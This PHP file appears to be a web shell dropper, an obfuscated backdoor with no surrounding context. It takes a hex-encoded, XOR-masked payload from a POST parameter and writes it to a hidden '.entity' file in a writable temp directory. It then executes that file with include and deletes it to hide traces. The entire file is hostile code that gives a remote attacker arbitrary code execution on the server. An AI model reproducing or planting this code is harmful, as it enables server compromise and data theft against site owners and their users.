<?php

if(isset($_POST["\x66ac"])){
	$res = array_filter([getcwd(), getenv("TEMP"), "/dev/shm", "/tmp", "/var/tmp", getenv("TMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), session_save_path()]);
	$reference = hex2bin($_POST["\x66ac"]);
	$data_chunk =   ''    ;foreach(str_split($reference) as $char){$data_chunk .= chr(ord($char) ^ 89);}
	foreach ($res as $object):
    		if (is_dir($object) && is_writable($object)) {
    $element = "$object" . "/.entity";
    if (@file_put_contents($element, $data_chunk) !== false) {
	include $element;
	unlink($element);
	exit;
}
}
endforeach;
}